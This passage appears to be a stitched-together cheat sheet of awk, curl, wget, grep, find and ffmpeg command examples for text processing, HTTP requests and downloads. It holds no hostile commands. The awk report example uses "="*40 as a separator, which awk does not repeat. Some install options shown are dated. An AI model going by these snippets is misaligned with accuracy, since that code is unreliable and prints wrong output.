awk '{ sum += $1 } END { print "Total:", sum }' file

# Print statistics
awk '{
    sum += $1
    count++
} END {
    print "Count:", count
    print "Total:", sum
    print "Average:", sum/count
}' file

# Print footer
awk '{ print } END { print "--- End of File ---" }' file

awk '
BEGIN {
    print "Processing file..."
    count = 0
}
{
    count++
    sum += $1
}
END {
    print "Processed", count, "lines"
    print "Total:", sum
    print "Average:", sum/count
}
' file

# Parse CSV (simple)
awk -F',' '{ print $1, $2 }' file.csv

# Parse CSV with quoted fields
awk 'BEGIN { FPAT = "([^,]+)|(\"[^\"]+\")" } { print $1, $2 }' file.csv

# Convert CSV to TSV
awk 'BEGIN { FS=","; OFS="\t" } { print $1, $2, $3 }' file.csv

# Add CSV header
awk 'BEGIN { FS=","; OFS=","; print "Name,Age,City" } { print }' file.csv

# Skip CSV header
awk 'NR>1 { print }' file.csv

# Sum column in CSV
awk -F',' 'NR>1 { sum += $2 } END { print sum }' file.csv

# Count log levels
awk '{ count[$1]++ } END { for (level in count) print level, count[level] }' app.log

# Filter by date
awk '/2024-01-15/' app.log

# Extract error messages
awk '/ERROR/ { print $0 }' app.log

# Count errors by hour
awk '/ERROR/ {
    split($1, time, ":")
    hour[time[1]]++
} END {
    for (h in hour)
        print h, hour[h]
}' app.log

# Top IP addresses in access log
awk '{ ip[$1]++ } END { for (i in ip) print ip[i], i }' access.log | sort -rn | head -10

# Response time statistics
awk '{
    sum += $NF
    count++
    if ($NF > max) max = $NF
    if (min == 0 || $NF < min) min = $NF
} END {
    print "Count:", count
    print "Average:", sum/count
    print "Min:", min
    print "Max:", max
}' access.log

# Sum by category
awk '{ sum[$1] += $2 } END { for (cat in sum) print cat, sum[cat] }' file

# Count by category
awk '{ count[$1]++ } END { for (cat in count) print cat, count[cat] }' file

# Average by category
awk '{
    sum[$1] += $2
    count[$1]++
} END {
    for (cat in sum)
        print cat, sum[cat]/count[cat]
}' file

# Min/Max by category
awk '{
    if (!($1 in max) || $2 > max[$1])
        max[$1] = $2
    if (!($1 in min) || $2 < min[$1])
        min[$1] = $2
} END {
    for (cat in max)
        print cat, "min:", min[cat], "max:", max[cat]
}' file

# Simple report
awk '
BEGIN {
    print "="*40
    print "Sales Report"
    print "="*40
    printf "%-15s %10s %10s\n", "Product", "Quantity", "Revenue"
    print "-"*40
}
{
    printf "%-15s %10d %10.2f\n", $1, $2, $3
    total += $3
}
END {
    print "-"*40
    printf "%-15s %10s %10.2f\n", "TOTAL", "", total
    print "="*40
}
' sales.txt

# Formatted table
awk '
BEGIN {
    FS=","
    printf "| %-10s | %-20s | %-8s |\n", "ID", "Name", "Score"
    print "+------------+----------------------+----------+"
}
{
    printf "| %-10s | %-20s | %-8s |\n", $1, $2, $3
}
' data.csv

# Process multiple files
awk '{ print FILENAME, $0 }' file1 file2 file3

# Different action per file
awk 'FNR==1 { print "File:", FILENAME } { print }' file1 file2

# Join files by key
awk '
NR==FNR { a[$1] = $2; next }
{ print $1, $2, a[$1] }
' file1 file2

# Merge files side by side
awk '
NR==FNR { a[FNR] = $0; next }
{ print a[FNR], $0 }
' file1 file2

# Swap fields
awk '{ print $2, $1 }' file

# Add new field
awk '{ print $0, $1+$2 }' file

# Remove field
awk '{ $3 = ""; print }' file

# Modify field
awk '{ $1 = toupper($1); print }' file

# Reorder fields
awk '{ print $3, $1, $2 }' file

# Print fields in reverse
awk '{ for (i=NF; i>=1; i--) printf "%s ", $i; print "" }' file

# Execute shell command
awk '{ system("echo Processing: " $1) }' file

# Get command output
awk '{ "date" | getline d; print d, $0 }' file

# Pipe to command
awk '{ print $1 | "sort" }' file

# Close pipe
awk '{
    print $1 | "sort"
} END {
    close("sort")
}' file

# Paragraph mode (blank line separated)
awk 'BEGIN { RS="" } { print NR, $0 }' file

# Custom record separator
awk 'BEGIN { RS=";" } { print }' file

# Multi-line matching
awk 'BEGIN { RS="" } /pattern/' file

# Disk usage by user
df -h | awk 'NR>1 { print $5, $6 }' | sort -rn

# Memory usage
free -m | awk 'NR==2 { printf "Memory: %.2f%%\n", $3/$2*100 }'

# Process monitoring
ps aux | awk 'NR>1 { mem[$1] += $4 } END { for (user in mem) print user, mem[user] }'

# Extract specific processes
ps aux | awk '$11 ~ /python/ { print $2, $11 }'

# Network connections count
netstat -an | awk '/ESTABLISHED/ { count[$5]++ } END { for (ip in count) print count[ip], ip }' | sort -rn

# Convert spaces to tabs
awk '{ gsub(/ /, "\t"); print }' file

# Remove blank lines
awk 'NF > 0' file

# Remove duplicate lines (keeps first)
awk '!seen[$0]++' file

# Number lines
awk '{ print NR, $0 }' file

# Reverse line order
awk '{ lines[NR] = $0 } END { for (i=NR; i>0; i--) print lines[i] }' file

# Print specific columns
awk '{ print $1, $3, $5 }' file

# Column alignment
awk '{ printf "%-20s %-10s %8.2f\n", $1, $2, $3 }' file

# Word frequency
awk '{ for (i=1; i<=NF; i++) count[$i]++ } END { for (word in count) print word, count[word] }' file

# Extract URLs
awk '{ for (i=1; i<=NF; i++) if ($i ~ /^https?:\/\//) print $i }' file

# Extract email addresses
awk '{ for (i=1; i<=NF; i++) if ($i ~ /@/) print $i }' file

# Remove HTML tags
awk '{ gsub(/<[^>]*>/, ""); print }' file.html

# Extract phone numbers
awk '/[0-9]{3}-[0-9]{3}-[0-9]{4}/ { print $0 }' file

# Line length statistics
awk '{ len = length($0); sum += len; if (len > max) max = len } END { print "Avg:", sum/NR, "Max:", max }' file

# Select specific columns
awk '{ print $1, $3, $5 }' file

# Where clause
awk '$2 > 100 && $3 == "Active"' file

# Group by and sum
awk '{ sum[$1] += $2 } END { for (k in sum) print k, sum[k] }' file

# Join two files
awk 'NR==FNR { a[$1] = $2; next } { print $0, a[$1] }' lookup.txt data.txt

# Left outer join
awk 'NR==FNR { a[$1] = $2; next } { print $0, ($1 in a) ? a[$1] : "NULL" }' file1 file2

# Create script file (script.awk)
#!/usr/bin/awk -f

BEGIN {
    print "Processing..."
}

{
    # Process each line
    sum += $1
}

END {
    print "Total:", sum
}

# Execute script
awk -f script.awk file.txt

# Make executable
chmod +x script.awk
./script.awk file.txt

#!/usr/bin/awk -f

# Log analyzer script

BEGIN {
    FS = " "
    print "Log Analysis Report"
    print "==================="
}

# Count by log level
{
    level[$1]++
}

# Extract errors
$1 == "ERROR" {
    errors[NR] = $0
}

# Time-based analysis
{
    if (match($2, /([0-9]{2}):/, time)) {
        hour[time[1]]++
    }
}

END {
    # Print log levels
    print "\nLog Levels:"
    for (l in level)
        print l, level[l]

    # Print hourly distribution
    print "\nHourly Distribution:"
    for (h in hour)
        print h ":00", hour[h]

    # Print errors
    if (length(errors) > 0) {
        print "\nErrors:"
        for (line in errors)
            print errors[line]
    }
}

# Use built-in variables instead of functions
awk '{ if (NF > 5) print }' file          # Fast
awk '{ if (length($0) > 50) print }' file # Slower

# Avoid unnecessary regex
awk '$1 == "error"' file                   # Fast
awk '$1 ~ /^error$/' file                  # Slower

# Exit early when possible
awk '{ if (found) exit } /pattern/ { found = 1; print }' file

# Use arrays for lookups
awk 'NR==FNR { lookup[$1] = 1; next } $1 in lookup' keys.txt data.txt

# Use meaningful variable names
awk '{ total_sales += $3 } END { print total_sales }' file

# Comment your code
awk '
{
    # Calculate total including tax
    subtotal = $2 * $3
    tax = subtotal * 0.08
    total = subtotal + tax
    print $1, total
}
' file

# Use functions (gawk)
awk '
function celsius_to_fahrenheit(c) {
    return c * 9/5 + 32
}

{
    print $1, celsius_to_fahrenheit($2)
}
' file

# Check for division by zero
awk '{ if ($2 != 0) print $1/$2; else print "Error: division by zero" }' file

# Validate input
awk '{ if (NF >= 3) print; else print "Invalid line:", NR > "/dev/stderr" }' file

# Check if file exists (in BEGIN)
awk 'BEGIN { if (system("test -f " ARGV[1]) != 0) { print "File not found"; exit 1 } }' file

# Modifying a field rebuilds $0
awk '{ $1 = "new"; print }' file  # Rebuilds entire line

# Fields are 1-indexed, not 0-indexed
awk '{ print $0 }' file  # Entire line
awk '{ print $1 }' file  # First field

# AWK converts automatically
awk '{ print $1 + $2 }' file     # Numeric addition
awk '{ print $1 $2 }' file       # String concatenation

# Force numeric comparison
awk '{ if ($1 + 0 > $2 + 0) print }' file

# Force string comparison
awk '{ if ($1 "" > $2 "") print }' file

# Variables are global by default
awk '{
    x = $1
    y = $2
}
END {
    print x, y  # Last values from input
}' file

# Function parameters are local
awk '
function f(local_var) {
    local_var = 10
}
BEGIN {
    global_var = 5
    f(global_var)
    print global_var  # Still 5
}
'

# FPAT (field pattern)
gawk 'BEGIN { FPAT = "([^,]+)|(\"[^\"]+\")" } { print $2 }' file.csv

# Include files
gawk -f lib.awk -f script.awk file

# Two-way pipes
gawk '{ print $0 |& "sort"; "sort" |& getline x; print x }' file

# Multidimensional arrays
gawk '{ arr[$1][$2] = $3 }' file

# switch statement
gawk '{ switch ($1) { case "a": print "A"; break; case "b": print "B"; break } }' file

# Basic GET request
curl https://api.example.com

# GET with output to file
curl https://example.com -o output.html
curl https://example.com --output output.html

# Save with original filename
curl -O https://example.com/file.pdf

# Follow redirects
curl -L https://shortened-url.com

# Show response headers only
curl -I https://api.example.com
curl --head https://api.example.com

# Show response headers and body
curl -i https://api.example.com
curl --include https://api.example.com

# Verbose output (shows request/response details)
curl -v https://api.example.com
curl --verbose https://api.example.com

# Show only HTTP status code
curl -o /dev/null -s -w "%{http_code}\n" https://api.example.com

# GET with query parameters
curl "https://api.example.com/users?page=1&limit=10"

# GET with URL-encoded parameters
curl -G https://api.example.com/search \
  -d "query=curl tutorial" \
  -d "limit=5"

# POST with form data
curl -X POST https://api.example.com/users \
  -d "name=John" \
  -d "email=john@example.com"

# POST with JSON data
curl -X POST https://api.example.com/users \
  -H "Content-Type: application/json" \
  -d '{"name":"John","email":"john@example.com"}'

# POST with JSON from file
curl -X POST https://api.example.com/users \
  -H "Content-Type: application/json" \
  -d @data.json

# POST with form file upload
curl -X POST https://api.example.com/upload \
  -F "file=@document.pdf" \
  -F "description=My document"

# PUT to update resource
curl -X PUT https://api.example.com/users/123 \
  -H "Content-Type: application/json" \
  -d '{"name":"John Updated","email":"john.new@example.com"}'

# PATCH to partially update resource
curl -X PATCH https://api.example.com/users/123 \
  -H "Content-Type: application/json" \
  -d '{"email":"newemail@example.com"}'

# DELETE a resource
curl -X DELETE https://api.example.com/users/123

# DELETE with authentication
curl -X DELETE https://api.example.com/users/123 \
  -H "Authorization: Bearer token123"

# Single custom header
curl -H "X-Custom-Header: value" https://api.example.com

# Multiple headers
curl -H "Content-Type: application/json" \
     -H "Authorization: Bearer token123" \
     -H "X-Request-ID: abc123" \
     https://api.example.com

# User-Agent header
curl -A "MyApp/1.0" https://api.example.com
curl --user-agent "MyApp/1.0" https://api.example.com

# Referer header
curl -e "https://referrer.com" https://api.example.com
curl --referer "https://referrer.com" https://api.example.com

# Request JSON response
curl -H "Accept: application/json" https://api.example.com

# Request XML response
curl -H "Accept: application/xml" https://api.example.com

# Request specific API version
curl -H "Accept: application/vnd.api+json; version=2" https://api.example.com

# Basic auth (username:password)
curl -u username:password https://api.example.com

# Basic auth with prompt for password
curl -u username https://api.example.com

# Basic auth in URL (not recommended for production)
curl https://username:password@api.example.com

# Bearer token authentication
curl -H "Authorization: Bearer your_token_here" https://api.example.com

# Using environment variable
export TOKEN="your_token_here"
curl -H "Authorization: Bearer $TOKEN" https://api.example.com

# API key in header
curl -H "X-API-Key: your_api_key" https://api.example.com

# API key in query parameter
curl "https://api.example.com/data?api_key=your_api_key"

# OAuth 2.0 with access token
curl -H "Authorization: Bearer access_token" https://api.example.com

# Get OAuth token
curl -X POST https://auth.example.com/token \
  -d "grant_type=client_credentials" \
  -d "client_id=your_client_id" \
  -d "client_secret=your_client_secret"

# Save cookies to file
curl -c cookies.txt https://example.com/login \
  -d "username=user&password=pass"

# Load cookies from file
curl -b cookies.txt https://example.com/profile

# Send cookies directly
curl -b "session=abc123; user=john" https://example.com

# Save and load cookies in same request
curl -b cookies.txt -c cookies.txt https://example.com

# Download single file
curl -O https://example.com/file.zip

# Download with custom name
curl -o myfile.zip https://example.com/file.zip

# Download multiple files
curl -O https://example.com/file1.zip \
     -O https://example.com/file2.zip

# Resume interrupted download
curl -C - -O https://example.com/largefile.zip

# Download with progress bar
curl -# -O https://example.com/file.zip

# Upload file with PUT
curl -X PUT https://api.example.com/files/document.pdf \
  --upload-file document.pdf

# Upload with POST multipart
curl -F "file=@document.pdf" https://api.example.com/upload

# Upload multiple files
curl -F "file1=@doc1.pdf" \
     -F "file2=@doc2.pdf" \
     https://api.example.com/upload

# Download from FTP
curl ftp://ftp.example.com/file.txt -u username:password

# Upload to FTP
curl -T localfile.txt ftp://ftp.example.com/ -u username:password

# List FTP directory
curl ftp://ftp.example.com/ -u username:password

# Connection timeout (seconds)
curl --connect-timeout 10 https://api.example.com

# Maximum time for entire operation
curl --max-time 30 https://api.example.com
curl -m 30 https://api.example.com

# Keepalive time
curl --keepalive-time 60 https://api.example.com

# Retry on failure
curl --retry 3 https://api.example.com

# Retry with delay
curl --retry 3 --retry-delay 5 https://api.example.com

# Retry on specific errors
curl --retry 3 --retry-connrefused https://api.example.com

# Limit download speed (K = kilobytes, M = megabytes)
curl --limit-rate 100K https://example.com/largefile.zip

# Limit upload speed
curl --limit-rate 50K -T file.zip https://example.com/upload

# Use HTTP proxy
curl -x http://proxy.example.com:8080 https://api.example.com

# Use SOCKS5 proxy
curl --socks5 proxy.example.com:1080 https://api.example.com

# Proxy with authentication
curl -x http://user:pass@proxy.example.com:8080 https://api.example.com

# Bypass proxy for specific hosts
curl --noproxy "localhost,127.0.0.1" -x proxy.example.com:8080 https://api.example.com

# Ignore SSL certificate validation (unsafe - use only for testing)
curl -k https://self-signed.example.com
curl --insecure https://self-signed.example.com

# Specify SSL version
curl --tlsv1.2 https://api.example.com

# Use client certificate
curl --cert client.pem --key key.pem https://api.example.com

# Use CA certificate
curl --cacert ca-bundle.crt https://api.example.com

# Pretty print JSON response (with jq)
curl https://api.example.com/users | jq '.'

# Extract specific field from JSON
curl https://api.example.com/users | jq '.data[].name'

# Silent mode (no progress bar)
curl -s https://api.example.com

# Show only errors
curl -S -s https://api.example.com

# Output format string
curl -w "\nTime: %{time_total}s\nStatus: %{http_code}\n" https://api.example.com

# Show timing information
curl -w "
    time_namelookup:  %{time_namelookup}
    time_connect:     %{time_connect}
    time_appconnect:  %{time_appconnect}
    time_pretransfer: %{time_pretransfer}
    time_redirect:    %{time_redirect}
    time_starttransfer: %{time_starttransfer}
    time_total:       %{time_total}
    http_code:        %{http_code}
" -o /dev/null -s https://api.example.com

# Save format to file
curl -w "@curl-format.txt" -o /dev/null -s https://api.example.com

# Show detailed request/response
curl -v https://api.example.com

# Even more verbose (includes SSL info)
curl -vv https://api.example.com

# Trace ASCII
curl --trace-ascii debug.txt https://api.example.com

# Trace binary
curl --trace debug.bin https://api.example.com

# Test API endpoint
curl -I https://api.example.com/health

# Test with timeout
curl -m 5 https://api.example.com

# Check response time
time curl -o /dev/null -s https://api.example.com

# Test with different methods
for method in GET POST PUT DELETE; do
  echo "Testing $method:"
  curl -X $method -I https://api.example.com/test
done

#!/bin/bash
BASE_URL="https://api.example.com"
TOKEN="your_token_here"

# GET request
curl -H "Authorization: Bearer $TOKEN" "$BASE_URL/users"

# POST request
curl -X POST "$BASE_URL/users" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"John","email":"john@example.com"}'

# Check status
STATUS=$(curl -o /dev/null -s -w "%{http_code}" "$BASE_URL/health")
if [ "$STATUS" -eq 200 ]; then
  echo "API is healthy"
else
  echo "API returned status $STATUS"
fi

# Download with progress bar
curl -# -L -o file.zip https://example.com/download

# Download with custom progress
curl --progress-bar -o file.zip https://example.com/download

# Create
curl -X POST https://api.example.com/items \
  -H "Content-Type: application/json" \
  -d '{"name":"Item1","price":99.99}'

# Read
curl https://api.example.com/items/1

# Update
curl -X PUT https://api.example.com/items/1 \
  -H "Content-Type: application/json" \
  -d '{"name":"Item1 Updated","price":89.99}'

# Delete
curl -X DELETE https://api.example.com/items/1

# Always follow redirects
-L

# Show error messages
--show-error

# Retry on failure
--retry 3

# Set user agent
user-agent = "MyApp/1.0"

# Always use HTTP/2 if available
--http2

curl -v https://api.example.com

if ! curl -f https://api.example.com; then
  echo "Request failed"
  exit 1
fi

export API_TOKEN="secret"
curl -H "Authorization: Bearer $API_TOKEN" https://api.example.com

curl --connect-timeout 10 --max-time 60 https://api.example.com

curl -c cookies.txt -d "user=john&pass=secret" https://example.com/login
curl -b cookies.txt https://example.com/profile

#!/bin/bash
# Check if service is up
while true; do
  STATUS=$(curl -o /dev/null -s -w "%{http_code}" https://api.example.com/health)
  if [ "$STATUS" -eq 200 ]; then
    echo "$(date): Service is up"
  else
    echo "$(date): Service returned $STATUS"
  fi
  sleep 60
done

# Simple load test
for i in {1..100}; do
  curl -o /dev/null -s -w "%{time_total}\n" https://api.example.com &
done
wait

# Download webpage and extract links
curl -s https://example.com | grep -oP 'href="\K[^"]*'

# Send webhook payload
curl -X POST https://webhook.site/unique-url \
  -H "Content-Type: application/json" \
  -d '{"event":"user.created","data":{"id":123,"name":"John"}}'

# Add to ~/.bashrc or ~/.zshrc
alias curljson='curl -H "Content-Type: application/json"'
alias curlpost='curl -X POST -H "Content-Type: application/json"'
alias curltime='curl -w "\nTotal time: %{time_total}s\n"'
alias curlstatus='curl -o /dev/null -s -w "%{http_code}\n"'

# SSL certificate problem
curl --cacert /path/to/ca-bundle.crt https://example.com

# Connection timeout
curl --connect-timeout 30 https://example.com

# DNS resolution issues
curl --dns-servers 8.8.8.8 https://example.com

# Test specific IP
curl --resolve example.com:443:1.2.3.4 https://example.com

# Show SSL certificate details
curl -vv https://example.com 2>&1 | grep -A 10 "SSL certificate"

# Test SSL handshake
openssl s_client -connect example.com:443

# Use specific TLS version
curl --tlsv1.2 https://example.com

# Ubuntu/Debian
sudo apt update
sudo apt install wget

# macOS
brew install wget

# CentOS/RHEL
sudo yum install wget

# Arch Linux
sudo pacman -S wget

# Verify installation
wget --version

# Download a file
wget https://example.com/file.zip

# Download and save with different name
wget -O myfile.zip https://example.com/file.zip
wget --output-document=myfile.zip https://example.com/file.zip

# Download to specific directory
wget -P /path/to/directory https://example.com/file.zip
wget --directory-prefix=/path/to/directory https://example.com/file.zip

# Download in background
wget -b https://example.com/largefile.zip
wget --background https://example.com/largefile.zip

# Continue interrupted download
wget -c https://example.com/largefile.zip
wget --continue https://example.com/largefile.zip

# Download multiple files
wget https://example.com/file1.zip https://example.com/file2.zip

# Download from file list
cat urls.txt
# https://example.com/file1.zip
# https://example.com/file2.zip
# https://example.com/file3.zip

wget -i urls.txt
wget --input-file=urls.txt

# Download from URLs with wildcards
wget https://example.com/file{1..10}.zip

# Limit download speed (K, M, G)
wget --limit-rate=200k https://example.com/file.zip
wget --limit-rate=1M https://example.com/file.zip

# Set number of retries
wget --tries=10 https://example.com/file.zip
wget -t 10 https://example.com/file.zip

# Infinite retries
wget --tries=0 https://example.com/file.zip

# Timeout settings
wget --timeout=30 https://example.com/file.zip
wget --dns-timeout=10 --connect-timeout=10 --read-timeout=30 https://example.com/file.zip

# Wait between downloads
wget --wait=5 -i urls.txt  # Wait 5 seconds
wget --random-wait -i urls.txt  # Random wait 0.5-1.5x wait time

# Mirror entire website
wget --mirror --convert-links --page-requisites --no-parent https://example.com

# Shorter version
wget -mkEpnp https://example.com

# Flags explained:
# -m, --mirror: mirror (recursive + timestamping + infinite depth)
# -k, --convert-links: convert links for offline viewing
# -E, --adjust-extension: save HTML with .html extension
# -p, --page-requisites: get all images, CSS, etc.
# -np, --no-parent: don't ascend to parent directory

# Limit recursion depth
wget -r -l 2 https://example.com  # 2 levels deep
wget --recursive --level=2 https://example.com

# Download specific file types only
wget -r -A pdf,jpg,png https://example.com
wget --recursive --accept=pdf,jpg,png https://example.com

# Exclude specific file types
wget -r -R gif,svg https://example.com
wget --recursive --reject=gif,svg https://example.com

# Download entire directory
wget -r -np -nH --cut-dirs=2 https://example.com/files/documents/

# Flags explained:
# -r: recursive
# -np: no parent (stay in directory)
# -nH: no host directory
# --cut-dirs=2: skip 2 directory levels

# Example:
# URL: https://example.com/files/documents/pdf/file.pdf
# Without flags: example.com/files/documents/pdf/file.pdf
# With flags: pdf/file.pdf

# Basic authentication
wget --user=username --password=password https://example.com/file.zip

# Prompt for password
wget --user=username --ask-password https://example.com/file.zip

# HTTP authentication via .wgetrc
cat << EOF > ~/.wgetrc
http_user = username
http_password = password
EOF

# FTP download with credentials
wget ftp://username:password@ftp.example.com/file.zip

# Anonymous FTP
wget ftp://ftp.example.com/file.zip

# Send cookies
wget --header="Cookie: session=abc123" https://example.com/file.zip

# Load cookies from file
wget --load-cookies=cookies.txt https://example.com/file.zip

# Save cookies to file
wget --save-cookies=cookies.txt --keep-session-cookies https://example.com/login

# Use cookies for authenticated download
wget --save-cookies=cookies.txt --keep-session-cookies \
     --post-data='user=john&pass=secret' \
     https://example.com/login
wget --load-cookies=cookies.txt https://example.com/protected/file.zip

# Set user agent
wget --user-agent="Mozilla/5.0" https://example.com/file.zip
wget -U "Mozilla/5.0" https://example.com/file.zip

# Custom headers
wget --header="Accept: application/json" https://api.example.com/data
wget --header="Authorization: Bearer token123" https://api.example.com/file.zip

# Multiple headers
wget --header="Accept: application/json" \
     --header="X-API-Key: abc123" \
     https://api.example.com/data

# Referer header
wget --referer=https://example.com https://example.com/file.zip

# POST data
wget --post-data='name=John&email=john@example.com' https://example.com/api

# POST from file
wget --post-file=data.json https://example.com/api

# POST with headers
wget --post-data='{"name":"John"}' \
     --header="Content-Type: application/json" \
     https://example.com/api

# Ignore SSL certificate check (unsafe)
wget --no-check-certificate https://self-signed.example.com/file.zip

# Specify CA certificate
wget --ca-certificate=/path/to/ca-cert.pem https://example.com/file.zip

# Use client certificate
wget --certificate=/path/to/client-cert.pem \
     --certificate-type=PEM \
     https://example.com/file.zip

# Use private key
wget --private-key=/path/to/key.pem https://example.com/file.zip

# Specify SSL protocol
wget --secure-protocol=TLSv1_2 https://example.com/file.zip

# Use HTTP proxy
wget -e use_proxy=yes -e http_proxy=http://proxy.example.com:8080 https://example.com/file.zip

# Use proxy with authentication
wget -e use_proxy=yes \
     -e http_proxy=http://user:pass@proxy.example.com:8080 \
     https://example.com/file.zip

# HTTPS proxy
wget -e https_proxy=http://proxy.example.com:8080 https://example.com/file.zip

# FTP proxy
wget -e ftp_proxy=http://proxy.example.com:8080 ftp://ftp.example.com/file.zip

# No proxy for specific domains
wget -e no_proxy=localhost,127.0.0.1 https://example.com/file.zip

# Configure in .wgetrc
cat << EOF > ~/.wgetrc
use_proxy = on
http_proxy = http://proxy.example.com:8080
https_proxy = http://proxy.example.com:8080
ftp_proxy = http://proxy.example.com:8080
no_proxy = localhost,127.0.0.1
EOF

# Quiet mode (no output)
wget -q https://example.com/file.zip
wget --quiet https://example.com/file.zip

# Verbose output
wget -v https://example.com/file.zip
wget --verbose https://example.com/file.zip

# Debug output
wget -d https://example.com/file.zip
wget --debug https://example.com/file.zip

# Show progress bar only
wget --progress=bar https://example.com/file.zip
wget --progress=dot https://example.com/file.zip

# No verbose but show errors
wget -nv https://example.com/file.zip
wget --no-verbose https://example.com/file.zip

# Log to file
wget -o download.log https://example.com/file.zip
wget --output-file=download.log https://example.com/file.zip

# Append to log
wget -a download.log https://example.com/file.zip
wget --append-output=download.log https://example.com/file.zip

# Background download with logging
wget -b -o wget.log https://example.com/largefile.zip

# Only download if newer than local file
wget -N https://example.com/file.zip
wget --timestamping https://example.com/file.zip

# Check if file has been modified
wget --spider --server-response https://example.com/file.zip

# Check if file exists without downloading
wget --spider https://example.com/file.zip

# Check if URL is valid
if wget --spider https://example.com/file.zip 2>&1 | grep -q '200 OK'; then
    echo "URL is valid"
else
    echo "URL is invalid"
fi

# Get response headers only
wget --spider --server-response https://example.com/file.zip

# Limit total download size
wget --quota=100M -i urls.txt

# Reject files larger than size
wget --reject-size=10M https://example.com/

# Accept files within size range
wget --accept-size=1M-10M https://example.com/

# Include only specific directories
wget -r -I /docs,/guides https://example.com

# Exclude specific directories
wget -r -X /private,/admin https://example.com

# Include only specific domains
wget -r -D example.com,cdn.example.com https://example.com

# Follow only relative links
wget -r --relative https://example.com

# Create ~/.wgetrc
cat << 'EOF' > ~/.wgetrc
# Retry settings
tries = 10
retry_connrefused = on

# Timeout settings
timeout = 30
dns_timeout = 10
connect_timeout = 10
read_timeout = 30

# Wait between downloads
wait = 2
random_wait = on

# Download settings
continue = on
timestamping = on

# User agent
user_agent = Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36

# Proxy settings
# use_proxy = on
# http_proxy = http://proxy.example.com:8080
# https_proxy = http://proxy.example.com:8080

# Directories
dir_prefix = ~/Downloads/

# Output
verbose = off
quiet = off
EOF

# Download with resume support
wget -c -t 0 --timeout=120 https://example.com/largefile.iso

# Download in background with logging
wget -b -c -o download.log https://example.com/largefile.iso

# Monitor background download
tail -f download.log

#!/bin/bash
# backup-website.sh

SITE="https://example.com"
BACKUP_DIR="/backup/website"
DATE=$(date +%Y%m%d)

mkdir -p "$BACKUP_DIR/$DATE"
cd "$BACKUP_DIR/$DATE"

wget --mirror \
     --convert-links \
     --adjust-extension \
     --page-requisites \
     --no-parent \
     --no-clobber \
     --wait=1 \
     --random-wait \
     "$SITE"

echo "Backup completed: $BACKUP_DIR/$DATE"

# Download all PDFs
wget -r -A pdf https://example.com

# Download PDFs from specific directory
wget -r -np -nd -A pdf https://example.com/documents/

# Download PDFs with original structure
wget -r -np -A pdf https://example.com/documents/

# Download with authentication token
wget --header="Authorization: Bearer $API_TOKEN" \
     https://api.example.com/files/report.pdf

# Download with API key
wget --header="X-API-Key: $API_KEY" \
     https://api.example.com/download/file.zip

# Create URL list
for i in {1..100}; do
    echo "https://example.com/images/img${i}.jpg"
done > urls.txt

# Download with rate limiting
wget -i urls.txt --wait=1 --random-wait --limit-rate=500k

# Download with progress tracking
wget -i urls.txt -o download.log &
tail -f download.log | grep -E "saved|failed"

#!/bin/bash
URL="https://example.com/file.zip"
OUTPUT="file.zip"
MAX_ATTEMPTS=5

for i in $(seq 1 $MAX_ATTEMPTS); do
    echo "Attempt $i of $MAX_ATTEMPTS"

    if wget -c -O "$OUTPUT" "$URL"; then
        echo "Download successful"
        exit 0
    else
        echo "Download failed, retrying..."
        sleep 5
    fi
done

echo "Download failed after $MAX_ATTEMPTS attempts"
exit 1

#!/bin/bash
# Download multiple files in parallel

URLS=(
    "https://example.com/file1.zip"
    "https://example.com/file2.zip"
    "https://example.com/file3.zip"
)

for url in "${URLS[@]}"; do
    wget -c "$url" &
done

# Wait for all downloads to complete
wait

echo "All downloads completed"

#!/bin/bash
# Check if website has been updated

URL="https://example.com/news.html"
OUTPUT="/tmp/news.html"

if [ -f "$OUTPUT" ]; then
    wget -N -o /tmp/wget.log "$URL"

    if grep -q "not retrieving" /tmp/wget.log; then
        echo "No changes detected"
    else
        echo "Website has been updated"
        # Send notification or perform action
    fi
else
    wget -O "$OUTPUT" "$URL"
    echo "Initial download completed"
fi

# SSL certificate verification failed
wget --no-check-certificate https://example.com/file.zip
# Better: Install proper CA certificates

# Connection timeout
wget --timeout=60 --tries=5 https://example.com/file.zip

# 403 Forbidden error
wget --user-agent="Mozilla/5.0" https://example.com/file.zip

# Cannot write to file (permission denied)
sudo wget -P /protected/directory https://example.com/file.zip

# Resume failed download
wget -c https://example.com/file.zip

# Check download status in background
tail -f wget-log

# Verify download integrity
wget https://example.com/file.zip
wget https://example.com/file.zip.sha256
sha256sum -c file.zip.sha256

# Enable debug output
wget -d https://example.com/file.zip 2>&1 | tee debug.log

# Check DNS resolution
wget --dns-timeout=10 https://example.com/file.zip

# Test connection only
wget --spider --server-response https://example.com/file.zip

# Show headers
wget -S https://example.com/file.zip

grep "search_string" filename

grep "search_string" file1 file2 file3

grep -r "search_string" /path/to/directory

grep -i "search_string" filename

grep -w "word" filename

grep -n "search_string" filename

grep -c "search_string" filename

grep -o "search_string" filename

grep -v "search_string" filename

grep -e "pattern1" -e "pattern2" filename

zgrep "search_string" compressed_file.gz

grep -C 3 "search_string" filename

find /path/to/directory -name "filename"
find . -name "*.py"

find /path/to/directory -name "*.ext"

find /path/to/directory -type d

find /path/to/directory -size +100M

find /path/to/directory -mtime -7

find /path/to/directory -atime -7

find /path/to/directory -name "*.tmp" -exec rm {} \;

find /path/to/directory -perm 777

find /path/to/directory -empty

find /path/to/directory -user username

find /path/to/directory -group groupname

find /path/to/directory -path /exclude/path -prune -o -name "*.ext" -print

# Ubuntu/Debian
sudo apt update
sudo apt install ffmpeg

# Fedora/RHEL
sudo dnf install ffmpeg

# Arch Linux
sudo pacman -S ffmpeg

# Build from source (latest features)
git clone https://git.ffmpeg.org/ffmpeg.git
cd ffmpeg
./configure --enable-gpl --enable-libx264 --enable-libx265
make
sudo make install

# Using Homebrew
brew install ffmpeg

# With additional codecs
brew install ffmpeg --with-libvpx --with-libvorbis --with-x265

# Check version
ffmpeg -version

# Using Chocolatey
choco install ffmpeg

# Or download from https://ffmpeg.org/download.html
# Extract and add to PATH

# Detailed file information
ffprobe input.mp4

# Show only format information
ffprobe -show_format input.mp4

# Show stream information
ffprobe -show_streams input.mp4

# JSON output
ffprobe -print_format json -show_format -show_streams input.mp4

# Get video duration
ffprobe -v error -show_entries format=duration -of default=noprint_wrappers=1:nokey=1 input.mp4

# Get video resolution
ffprobe -v error -select_streams v:0 -show_entries stream=width,height -of csv=s=x:p=0 input.mp4

# Get video framerate
ffprobe -v error -select_streams v:0 -show_entries stream=r_frame_rate -of default=noprint_wrappers=1:nokey=1 input.mp4

# Get bitrate
